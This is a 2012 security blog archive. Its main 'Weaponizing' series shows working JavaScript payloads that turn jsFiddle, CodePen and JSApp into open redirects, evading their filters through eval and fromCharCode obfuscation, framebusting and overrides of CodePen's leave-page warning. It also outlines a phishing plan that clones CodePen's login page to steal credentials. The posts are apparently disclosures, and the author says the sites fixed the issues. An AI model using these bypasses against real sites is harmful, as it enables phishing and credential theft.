Sunday, December 30, 2012

Weaponizing Pt 3: CodePen Redux

Note: CodePen has been notified of these problems and has fixed them. This is an analysis of how their original fix was bypassed and these techniques could possibly be applied to future redirection vulnerabilities.

Since my post about using code playgrounds as attack platforms, CodePen has added some JavaScript that will alert a user if the pen is trying to redirect them to a 3rd party domain. If you use the example redirect code from earlier in this series, you'll be presented with a prompt asking you if you'd like to leave CodePen. This article explains how to work around this code and carry out a redirection.

At the time of this writing, you can use Chrome developer tools or FireBug to see this code in action:
window.__canLeave = false;

window.onbeforeunload = function() {
    if (!__canLeave) {
        return "WARNING! You are leaving the safety of CodePen! Are you sure you want to leave?";
    }
};

setTimeout(function() {
    window.__canLeave = true;
}, 200);
In this code, they are hooking the onbeforeunload window event, which will execute their function when the browser window attempts to "unload" (read: navigate away from) the current page. If you tried our form-based redirect, you may have noticed that they will also attempt to overwrite form actions pointing to other domains.

Bypassing the Prompt
There are a couple of ways we can disable this prompting function. The first, blunt approach, is simply overwriting the window.onbeforeunload hook. We'll replace their function with a blank one of our own, then carry out our redirect.
<script>
window.onbeforeunload = function() {null;}
var target = 'win dow.loca tion="htt p://www.goo gle.com";';
eval(target.replace(/ /gi, ''));
</script>
A slightly more elegant approach is to not modify their function logic, but simply meet the function's requirements for a redirect. Because their __canLeave variable is attached to the window object, we can access it from our closure. So, let's just overwrite it:
<script>
window.__canLeave = true;
var target = 'win dow.loca tion="htt p://www.goo gle.com";';
eval(target.replace(/ /gi, ''));
</script>
Bypassing the Action Rewrite
This one is pretty easy. They're looking for form actions in our HTML, so we can overcome their form action filtering by dynamically assigning our form's action in JavaScript. Chaining our two techniques together gives us the following working redirect code:
<form id="bbb" />
<script>
window.__canLeave = true;
document.getElementById("bbb").action = "http://www.google.com";
document.getElementById("bbb").submit();
</script>
So Long And Thanks For All The Phish
So, besides open redirects, what else can we do with all of this? Well, CodePen has started rolling out professional accounts, and you no longer need Github to make one. Why not use their site to make a pen and go phishing?

Using data URIs combined with redirects, it would be easy to clone their login page in a pen. Add a message saying, "This pen is protected. Please log in to continue." We can now redirect any entered credentials to our own 3rd party site, log them for future use, then bounce the user to a real pen.

Summary
Although the examples in this series were trivial, they could easily be leveraged as a malicious attack platform. As CodePen begins to roll out more of their own features, especially those that people pay for, these techniques will become more exploitable.

Return to Part 1: Overview or Part 2: jsFiddle.

Thursday, December 13, 2012

Weaponizing Pt 2: Framebusting jsFiddle

In part 1 of this series, we looked at how we could use code playgrounds as open redirect services. One of our targets was jsFiddle. jsFiddle attempted to avoid some of our redirection problems by sandboxing a user's code in an iframe. On the surface, this seemed to solve the problem: by constantly leaving a JSFiddle banner on the page, the user is always reminded that they're viewing a fiddle.

At this point, the attacker needs to escape their horrible sandbox prison. Incidentally, this has been done before: framebusting to the rescue. Framebusting is traditionally a technique used to prevent UI redressing, essentially allowing a victim page to bust out of a potentially malicious iframe. We can use this technique to defeat jsFiddle's sandboxing iframe.

Again, we'll add our redirection code to the HTML area of our fiddle:
<form id="fun" action="http://www.gawker.com" />
<script>document.getElementById("fun").submit();</script>
If you run this fiddle now, you'll see the Gawker homepage, along with a jsFiddle banner along the top of the page. Now we can use JavaScript to escape the shackles of our imprisonment, improving our redirect. By changing our code to the following, we can bust out of our iframe and redirect properly:
<script>if( self != top ) {top.location = self.location;}</script>
<form id="fun" action="http://www.gawker.com" />
<script>document.getElementById("fun").submit();</script>
This extra line checks if our current script's location is the same as our parent window's location. Because our script is running in a frame, our location (in the frame) is different than the parent's location (out of the frame). Whenever this happens, we set the parent's location to our current location. Our script then continues to our redirect as normal.

Summary
This again reiterates how difficult it is to control client-side functionality in a language as robust as JavaScript. When JavaScript controls the DOM, and the DOM can have embedded JavaScript, it only takes one oversight to take full control of content.

Sunday, November 18, 2012

Weaponizing jsFiddle, CodePen, and JSApp

Update : This post is now part of a series. Read part 2 (jsFiddle) and part 3 (codepen).

Sites such as jsfiddle.net and codepen.io allow web developers to quickly prototype and share code. They provide an interactive environment, where you can experiment with HTML, CSS, and JavaScript, then view the results in real time. These code snippets can be saved and shared, and sites providing these services are quickly gaining popularity. While many developers may be wary of strange URL shorteners, they don't think twice to click links from these sites, as they believe they'll just be viewing a sandboxed code snippet.

Today we'll be turning these sites into open redirects. Open redirects are web applications that allow an attacker to redirect you to a site of their choosing, while playing on the user's trust of the vulnerable website. They can be used to launch phishing attacks and redirect users to malicious content.
You can read more about open redirects at the CWE and OWASP.

Although these sites have taken precautions to prevent trivial redirects (such as blocking JS's window.location), they've missed some other techniques which we'll outline below. Such techniques can allow an attacker to deliver malicious iframes or redirects, essentially transforming these sites into URL shorteners.

The Redirection Connection: jsFiddle.net
Both jsFiddle and CodePen attempt to block trivial redirects by stripping out window.location strings. Additionally, jsFiddle even sandboxes your code into a separate iframe. However, it still leaves you other options: either a form-based redirect or inclusion of an arbitrary iframe. After entering your code, you can save your fiddle, go to share, and send your target the URL for the full-screen results.

Using a form-based redirect, we can send a target to an arbitrary URL (in this case, gawker.com). We'll make a form element with an action of our target URL, then automatically submit our form.

Add the following to your HTML text area, save, and share the full-screen URL. 
<form id="fun" action="http://www.gawker.com" />
<script>document.getElementById("fun").submit();</script>
Our second, less sexy option, is an iframe to our target URL. You have a few options here: 1x1px iframe running browser exploits, a full-screen frame, serve up spam, or perhaps some type of UI-redressing techniques. You could also create an official-looking login form and phish for credentials.

For a full screen frame, use the following code in the HTML input area: 
<iframe src="http://www.gawker.com" style="width: 100%; height: 2000px" />
You get a lame jsFiddle nav bar on top, but luckily that won't be a problem using CodePen! You can read about how to remove the jsFiddle nav bar in part 2.

Redirection Indiscretion: CodenPen.io
Both of the above techniques also work on CodePen, and you don't even have the branded navigation bar on top! However, they've also given us a 2nd redirection option. Even though they attempt to strip out "window.location" strings, we can use the tried-and-true combo of eval() + fromCharCode(), and redirect our target to an arbitrary URL.

By converting our desired redirect to it's ASCII character codes, CodePen doesn't recognize our window.location string. You can use sites such as this one to convert your string. Here we've encoded: window.location = "http://www.google.com";

Click on New Pen, enter the code into your HTML section, save, and share the full screen URL.
<script>
eval(String.fromCharCode(119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 32, 61, 32, 34, 104, 116, 116, 112, 58, 47, 47, 119, 119, 119, 46, 103, 111, 111, 103, 108, 101, 46, 99, 111, 109, 34, 59));
</script>
This attack will work as long as the eval() function is available. Even if the CodePen filter attempts to translate fromCharCode() strings, you can utilize other encoding methods such as base64 and URL encoding to accomplish the same attack.

Another simple version of this breaks up the filtered string with whitespaces, then removes the spaces upon eval().
<script>
eval("win dow.loca tion='http://www.google.com';".replace(/\s/g,''));
</script>
Update: Codepen now includes updates to alert users of 3rd party redirects. You can learn how to disable these alerts in part 3.

Bonus round: JSApp.us
As a bonus, we'll also look at jsapp.us, which allows experimentation with NodeJS code. This can also be leveraged to create a redirection service. To share JSApp code, you'll need to create a free account. Click login from the commands on the right, create a new user, and enter your information. You can use a service such as mailinator.com (and its many different domains) to create a throw-away account. Once logged in, you can save your file and deploy it to a JSApp subdomain for sharing.

You can redirect a user to an arbitrary URL using the following code:
var http = require('http');
http.createServer(function (req, res) {
  res.writeHead(302, {'Location': 'http://google.com'});
  res.end();
}).listen();
 I'm sure a NodeJS coder can probably also come up with a couple of other neat tricks to take advantage of.

Summary
When you allow end-users to enter arbitrary code as part of the functionality for your web application, it's hard to do proper input validation. The sites we looked at today used a blacklisting approach (by stripping out certain "bad" strings) which we were able to bypass using basic HTML and JavaScript. Indeed, it could be argued that these features are a legitimate use of their applications. Essentially, it's trivial to turn the sites into nothing more than URL shorteners, which could be used for redirects, serving spam, phishing campaigns, and delivering malicious code.

With small adjustments or stricter filtering policies, weaponizing these platforms could become more difficult. This genre of webapp is a quickly growing, however, and we've only looked at a couple of the more popular sites.

Continue to part 2 of the series.

Wednesday, April 4, 2012

Pharma Spam on University Websites

Google finds some amazing things if you give it the right query. It's not exactly a secret that with the right google dork or "hack," you can find all sorts of things that weren't meant to be published. This has always been a hobby of mine, if only because the content you find is usually so weird and interesting. If you're interested in this kind of thing, you can check out a guide on advanced operators and the Google Hacking Database.

As I used to work for a fairly large university, I was perusing results for .edu sites the other day when I started running across a fair amount of similar-looking pharmaceutical spam. You can see a pretty huge sample of it by using the following dork:
site:*.edu (intitle:viagra||intitle:cialis)
I contacted a few universities to let them know but after receiving no responses, I figured I'd just throw this one out there.

It's incredibly difficult to police a university-sized network. To make matters worse (for admins), sites in the .edu top level domain are common targets because of their size, crappy student-created webapps, and the google juice that a big .edu can bring to a link farm. Because of this, it's really not uncommon for this kind of thing to happen. Scripts scanning for web vulnerabilities can infect huge swaths of a network in one swoop.

Targeted google dorks seem like an ideal way for edu admins to stay on top of this kind of thing, especially because the googlebot will probably know about it far before you do. A simple google alert can be set up for your domain (such as site:*.msu.edu), and the results will literally just be sent to you. No need to make this difficult, guys.

Sunday, February 12, 2012

Checking for HTTPS with JavaScript

SSLStrip is a really sweet tool that came out a couple years ago. While I won't go into detail here, sslstrip allows a man-in-the-middle attack against secured web connections by parsing out all HTTPS links and replacing them with regular HTTP. Sslstrip will even add a lock favicon to help convince the user HTTPS is in use, but most people probably won't even notice, which is why the attack is so brilliant. The server won't see anything out of the ordinary, and unless the target checks their URL, they won't receive any warnings either.

You can learn more about sslstrip here and here.

This attack got me thinking about ways that a website itself could help ensure an encrypted connection. Web browsers themselves are code delivery systems (HTML, JS, etc) are essentially code interpreted by the client), which means web developers should be able to offer at least a little bit of help. (MITM detection software exists, but usually proactively needs to be installed and ran by the user.)

It should be noted that many "secure" websites will still offer unencrypted connections, on the off-chance that a user's browser doesn't support HTTPS. Most browsers today, however, support secured connections. Even mobile browsers issue warnings, even if they are varied.

Note: the following is best solved by setting HSTS headers, which most browsers are beginning to support. This is just an experiment for a programmatic solution.

In our scenario, we're going to assume we have an HTTPS-only web app with a user who's been MITM'd with sslstrip. The goal was to help slap the user up and make them notice a lack of encryption. To do this, we can send them a piece of embedded javascript to check the current URL. This is a naive detection method, as javascript could be blocked by the attacker or tampered with. To help get our script through to the user, we can heavily obfuscate it on the server-side, and preferably add some element of randomness to help avoid a constant signature that could be regex'd out of our page. This is important, as an attacker that notices what's happening could easily defeat our checks before we get a chance to warn our user.

With fingers crossed, our attacker isn't aware of our code snippet (and is, perhaps, just passively grepping sslstrip output for credentials).

Example JS
//This check should run on pageload
var sslFlag = (window.location.protocol == "https:");
if (!sslFlag) {
alert("This connection isn't secured. An attacker is possibly intercepting traffic.");
}
//If sslFlag returns false or we never receive an AJAX report, make a log and possibly take action, such as a temporary password reset
ajaxReporting(ourDomain, sslFlag);
Homograph Attack
Sslstrip can also perform what's called a homograph attack, wherein the attacker uses look-alike characters to pose as the webpage they are attacking. While the above code wouldn't be very helpful in this scenario (as the connection is still HTTPS), we could instead check the character code of each letter in the URL. If the URL isn't correct, then we could fire off our warnings.

The homograph attack requires the attacker to have targeted a specific site, at least to register their false domain, so the chance of them noticing our code increases significantly.

Summary
I want to make it clear that I am by no means knocking the awesomeness of sslstrip or implying that this is a foolproof detection method. I'm very aware that this can be easily defeated if someone is expecting it. This simply adds one more step that needs to be taken care of for a successfully sneaky attack to take place.

That said, in my experience as a developer, websites often absolve themselves of responsibility for attacks that occur on local networks, and this simply struck me as one possible way to sneak some extra help to users in possibly hostile environments. In a critical situation where it's better to be safe than sorry, any extra layer of warning helps.

Monday, February 6, 2012

Detecting Firebug

Lately I've noticed a few sites that attempt to check if Firebug is enabled. Sometimes this is for legitimate purposes, sometimes not so much. For example, some web apps warn you about performance degradation, while some malicious websites will attempt to attack browsers with debug tools enabled.

Until recently, firebug was easily detectable by the window.console.firebug object, which would return the version of firebug installed, if applicable. This has since been removed by the developers.

Regardless of your intentions, for now you can still detect Firebug by analyzing console properties. Any unique properties that firebug adds to window.console can be used (ex. exception, memoryProfile, memoryProfileEnd). This can be implemented as
if (window.console && (window.console.firebug || window.console.exception)) {
/* firebug is active! alert(), fire ajax, crash browser, redirect, whatever */
}
You can read about this technique in more detail at StackOverflow, as well as some other interesting hacks for detection.